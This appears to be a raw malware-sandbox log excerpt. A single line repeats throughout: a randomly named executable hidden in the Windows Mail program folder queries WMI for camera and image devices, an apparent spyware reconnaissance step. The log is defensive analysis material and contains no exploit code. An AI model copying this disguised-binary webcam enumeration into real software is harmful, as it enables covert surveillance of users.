Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
